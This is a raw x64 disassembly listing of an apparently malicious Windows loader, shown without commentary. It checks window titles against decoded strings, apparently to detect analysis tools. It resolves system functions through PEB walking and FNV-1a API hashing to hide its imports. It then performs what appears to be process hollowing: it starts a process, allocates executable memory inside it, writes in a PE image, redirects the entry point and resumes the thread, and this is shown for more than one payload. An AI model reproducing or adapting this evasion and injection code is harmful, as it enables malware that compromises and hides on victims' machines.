mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140077a52
cmp qword [rax + 0x30], r13
jne 0x1400778d0
mov rdx, r13
jmp 0x140081c5b
cmp r14d, 1
jne 0x14007b1ec
cmp byte [0x14021077a], 0
je 0x140081c6b
movaps xmm0, xmm15
call fcn.1400131d0
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm9
movaps xmm2, xmm10
movaps xmm1, xmm9
lea rcx, [rbp + 0x840]
call fcn.140002820
mov rdx, rax
xor ecx, ecx
call fcn.140004dd0
lea rcx, [rbp - 2]
call fcn.1400860e0
mov rcx, rax
call fcn.14008c620
mov rcx, rax
xor r8d, r8d
xor edx, edx
call fcn.1400606f0
mov ecx, r12d
call fcn.140004e30
mov rax, qword [0x140210780]
movsd xmm1, qword [rax + 0x1c88]
movss xmm0, dword [0x14021077c]
cvtps2pd xmm0, xmm0
subsd xmm1, xmm0
comisd xmm1, xmmword [0x1401cb4f8]
jb 0x140081c6b
lea rcx, [rbp - 1]
call fcn.1400861d0
mov rcx, rax
call fcn.14008c5f0
mov qword [rbp + 0x10e8], rax
lea rcx, [rbp]
call fcn.140086240
mov rcx, rax
call fcn.14008c5b0
mov qword [rbp + 0x10f0], rax
lea rcx, [rbp + 1]
call fcn.1400862b0
mov rcx, rax
call fcn.14008c580
mov qword [rbp + 0x10f8], rax
xor r14b, r14b
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
test rax, rax
je 0x140077c3a
nop dword [rax]
mov r8d, 0x100
lea rdx, [rbp + 0x35c0]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov r8d, 0x100
lea rdx, [rbp + 0x35c0]
lea rcx, [rbp + 0x36c0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov rdi, r15
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [rbp + rdi*8 + 0x10e8]
lea rcx, [rbp + 0x1ec8]
call fcn.140090c30
nop
lea rdx, [rbp + 0x36c0]
lea rcx, [rbp + 0x1ee8]
call fcn.140090c30
nop
lea rdx, [rbp + 0x1ec8]
lea rcx, [rbp + 0x1ee8]
call fcn.140056360
movzx ebx, al
lea rcx, [rbp + 0x1ee8]
call fcn.140090bf0
nop
lea rcx, [rbp + 0x1ec8]
call fcn.140090bf0
test bl, bl
je 0x140077c14
inc rdi
cmp rdi, 3
jl 0x140077ba0
lea rcx, [rbp + 0x36c0]
call fcn.140063510
mov r14b, 1
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
test rax, rax
jne 0x140077b60
test r14b, r14b
jne 0x140077fb4
lea rcx, [rbp + 2]
call fcn.140086310
mov rcx, rax
call fcn.14008c550
mov qword [rbp + 0x1100], rax
lea rcx, [rbp + 3]
call fcn.140086380
mov rcx, rax
call fcn.14008c510
mov qword [rbp + 0x1108], rax
lea rcx, [rbp + 4]
call fcn.1400863f0
mov rcx, rax
call fcn.14008c4e0
mov qword [rbp + 0x1110], rax
xor r14b, r14b
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
test rax, rax
je 0x140077d8a
nop dword [rax]
nop word [rax + rax]
mov r8d, 0x100
lea rdx, [rbp + 0x37c0]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov r8d, 0x100
lea rdx, [rbp + 0x37c0]
lea rcx, [rbp + 0x38c0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov rdi, r15
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [rbp + rdi*8 + 0x1100]
lea rcx, [rbp + 0x1f08]
call fcn.140090c30
nop
lea rdx, [rbp + 0x38c0]
lea rcx, [rbp + 0x1f28]
call fcn.140090c30
nop
lea rdx, [rbp + 0x1f08]
lea rcx, [rbp + 0x1f28]
call fcn.140056360
movzx ebx, al
lea rcx, [rbp + 0x1f28]
call fcn.140090bf0
nop
lea rcx, [rbp + 0x1f08]
call fcn.140090bf0
test bl, bl
je 0x140077d64
inc rdi
cmp rdi, 3
jl 0x140077cf0
lea rcx, [rbp + 0x38c0]
call fcn.140064980
mov r14b, 1
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
test rax, rax
jne 0x140077cb0
test r14b, r14b
jne 0x140077fb4
lea rcx, [rbp + 5]
call fcn.140086450
mov rcx, rax
call fcn.14008c4b0
mov qword [rbp + 0x1118], rax
lea rcx, [rbp + 6]
call fcn.1400864c0
mov rcx, rax
call fcn.14008c470
mov qword [rbp + 0x1120], rax
lea rcx, [rbp + 7]
call fcn.140086530
mov rcx, rax
call fcn.14008c440
mov qword [rbp + 0x1128], rax
xor r14b, r14b
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
test rax, rax
je 0x140077eda
nop dword [rax]
nop word [rax + rax]
mov r8d, 0x100
lea rdx, [rbp + 0x39c0]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov r8d, 0x100
lea rdx, [rbp + 0x39c0]
lea rcx, [rbp + 0x3ac0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov rdi, r15
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [rbp + rdi*8 + 0x1118]
lea rcx, [rbp + 0x1f48]
call fcn.140090c30
nop
lea rdx, [rbp + 0x3ac0]
lea rcx, [rbp + 0x1f68]
call fcn.140090c30
nop
lea rdx, [rbp + 0x1f48]
lea rcx, [rbp + 0x1f68]
call fcn.140056360
movzx ebx, al
lea rcx, [rbp + 0x1f68]
call fcn.140090bf0
nop
lea rcx, [rbp + 0x1f48]
call fcn.140090bf0
test bl, bl
je 0x140077eb4
inc rdi
cmp rdi, 3
jl 0x140077e40
lea rcx, [rbp + 0x3ac0]
call fcn.1400684a0
mov r14b, 1
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
test rax, rax
jne 0x140077e00
test r14b, r14b
jne 0x140077fb4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140077f66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140077f66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x2564f900
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140077f61
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140077f40
cmp r8d, 0x4777c34b
je 0x140077f6b
test r9d, r9d
jne 0x140077f20
mov rax, qword [rax]
jmp 0x140077ef0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 8]
call fcn.140086650
mov rcx, rax
call fcn.14008c3c0
mov rbx, rax
lea rcx, [rbp + 9]
call fcn.140086590
mov rcx, rax
call fcn.14008c3f0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov rax, qword [0x140214480]
cmp byte [rax + 0x2c], 1
jne 0x140081c6b
cmp byte [rax + 0x29], 1
jne 0x140078a7f
lea rcx, [rbp + 0x2b98]
call fcn.140090c70
nop
lea rcx, [rbp + 0xa]
call fcn.1400866b0
mov rcx, rax
call fcn.14008c390
mov rdx, rax
lea rcx, [rbp + 0x2b98]
call fcn.140090bd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x2868]
call fcn.140062500
lea rdx, [rbp + 0x2b98]
lea rcx, [rbp + 0x1f88]
call fcn.140090c90
mov r8, rax
lea rdx, [rbp + 0x2868]
lea rcx, [0x140211120]
call fcn.1400a43e0
nop
lea rcx, [rbp + 0x2868]
call fcn.140090170
mov r14, rax
mov qword [rbp + 0x2800], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2700], xmm0
mov qword [rbp + 0x2710], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x2ff0], xmm1
movups xmmword [rbp + 0x3000], xmm1
movups xmmword [rbp + 0x3010], xmm1
movups xmmword [rbp + 0x3020], xmm1
movups xmmword [rbp + 0x3030], xmm1
movups xmmword [rbp + 0x3040], xmm1
mov qword [rbp + 0x3050], rax
movsxd r15, dword [r14 + 0x3c]
add r15, r14
mov qword [rsp + 0x68], r15
cmp dword [r15], 0x4550
jne 0x140078a5c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140078136
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140078136
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x7e142575
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140078131
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140078110
cmp r8d, 0xf611ddad
je 0x14007813b
test r9d, r9d
jne 0x1400780f0
mov rax, qword [rax]
jmp 0x1400780c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rbp + 0x4c60]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400781f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400781f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x1208b996
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400781f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400781d0
cmp r8d, 0x76db60ba
je 0x1400781fb
test r9d, r9d
jne 0x1400781b0
mov rax, qword [rax]
jmp 0x140078180
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x2700]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2ff0]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4c60]
xor ecx, ecx
call r10
test eax, eax
je 0x140078a5c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400782e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400782e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x4d027444
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400782e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400782c0
cmp r8d, 0x9e82249c
je 0x1400782eb
test r9d, r9d
jne 0x1400782a0
mov rax, qword [rax]
jmp 0x140078270
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call r10
mov rsi, rax
mov qword [rsp + 0x60], rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400783b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400783b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x3552482d
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400783b1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140078390
cmp r8d, 0x40f25ce6
je 0x1400783bb
test r9d, r9d
jne 0x140078370
mov rcx, qword [rcx]
jmp 0x140078340
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2708]
call r8
test eax, eax
je 0x1400788fb
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140078476
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140078476
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xc5812607
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140078471
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140078450
cmp r8d, 0x2e74cfae
je 0x14007847b
test r9d, r9d
jne 0x140078430
mov rax, qword [rax]
jmp 0x140078400
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, dword [r15 + 0x50]
lea r13, [r15 + 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x2700]
call r10
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140078546
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140078546
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r11]
add rdx, r11
mov r8d, 0x43340a7b
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140078541
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140078520
cmp r8d, 0x3bbe82fc
je 0x14007854b
test r9d, r9d
jne 0x140078500
mov rcx, qword [rcx]
jmp 0x1400784d0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [r15 + 0x54]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
mov r8, r14
mov rdx, r12
mov rcx, qword [rbp + 0x2700]
call r10
mov r15d, ebx
mov rax, qword [rsp + 0x68]
cmp bx, word [rax + 6]
jae 0x140078779
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + 0x2800]
movsxd rsi, dword [rax + 0x3c]
add rsi, r14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140078636
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140078636
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x49875bda
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140078631
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140078610
cmp r8d, 0x87bd3d05
je 0x14007863b
test r9d, r9d
jne 0x1400785f0
mov rax, qword [rax]
jmp 0x1400785c0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rax, qword [rbp + 0x2800]
mov r9d, dword [rsi + rax + 0x118]
mov r8d, dword [rsi + rax + 0x11c]
add r8, rax
mov edx, dword [rsi + rax + 0x114]
add rdx, r12
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x2700]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140078716
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140078716
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x9ee9c255
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140078711
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400786f0
cmp r8d, 0xd3c5b05a
je 0x14007871b
test r9d, r9d
jne 0x1400786d0
mov rax, qword [rax]
jmp 0x1400786a0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
mov r8, r13
mov rcx, qword [rbp + 0x2700]
call r10
inc r15
add r14, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r15, rax
jb 0x1400785a0
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140078816
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140078816
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xf9ec6961
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140078811
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400787f0
cmp r8d, 0x3b4ecf2e
je 0x14007881b
test r9d, r9d
jne 0x1400787d0
mov rax, qword [rax]
jmp 0x1400787a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2708]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400788d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400788d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x7fd75a58
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400788d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400788b0
cmp r8d, 0x72ab55f3
je 0x1400788db
test r9d, r9d
jne 0x140078890
mov rax, qword [rax]
jmp 0x140078860
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2708]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140078986
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140078986
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xeaf852f7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140078981
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140078960
cmp r8d, 0x7520f3cb
je 0x14007898b
test r9d, r9d
jne 0x140078940
mov rax, qword [rax]
jmp 0x140078910
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2700]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140078a36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140078a36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xcea9ddaf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140078a31
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140078a10
cmp r8d, 0xe106c323
je 0x140078a3b
test r9d, r9d
jne 0x1400789f0
mov rax, qword [rax]
jmp 0x1400789c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2708]
call rdx
nop
lea rcx, [rbp + 0x2868]
call fcn.140090180
nop
lea rcx, [rbp + 0x2b98]
call fcn.140090bf0
mov rax, qword [0x140214480]
xor r15d, r15d
cmp byte [rax + 0x2a], 1
jne 0x14007953c
lea rcx, [rbp + 0x2a18]
call fcn.140090c70
nop
lea rcx, [rbp + 0xb]
call fcn.140086710
mov rcx, rax
call fcn.14008c360
mov rdx, rax
lea rcx, [rbp + 0x2a18]
call fcn.140090bd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x2850]
call fcn.140062500
lea rdx, [rbp + 0x2a18]
lea rcx, [rbp + 0x1fa8]
call fcn.140090c90
mov r8, rax
lea rdx, [rbp + 0x2850]
lea rcx, [0x140211120]
call fcn.1400a43e0
nop
lea rcx, [rbp + 0x2850]
call fcn.140090170
mov qword [rbp + 0x2800], rax
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp + 0x2640], xmm0
mov qword [rbp + 0x2650], rcx
xorps xmm1, xmm1
movups xmmword [rbp + 0x3060], xmm1
movups xmmword [rbp + 0x3070], xmm1
movups xmmword [rbp + 0x3080], xmm1
movups xmmword [rbp + 0x3090], xmm1
movups xmmword [rbp + 0x30a0], xmm1
movups xmmword [rbp + 0x30b0], xmm1
mov qword [rbp + 0x30c0], rcx
movsxd r14, dword [rax + 0x3c]
add r14, rax
mov qword [rsp + 0x68], r14
cmp dword [r14], 0x4550
jne 0x14007951c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140078bf6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140078bf6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xe4859ca7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140078bf1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140078bd0
cmp r8d, 0x3c94bfb7
je 0x140078bfb
test r9d, r9d
jne 0x140078bb0
mov rax, qword [rax]
jmp 0x140078b80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rbp + 0x4d70]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140078cb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140078cb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xefa23fc8
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140078cb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140078c90
cmp r8d, 0x33bbee0
je 0x140078cbb
test r9d, r9d
jne 0x140078c70
mov rax, qword [rax]
jmp 0x140078c40
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x2640]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3060]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4d70]
xor ecx, ecx
call r10
test eax, eax
je 0x14007951c
mov rax, qword gs:[0x60]
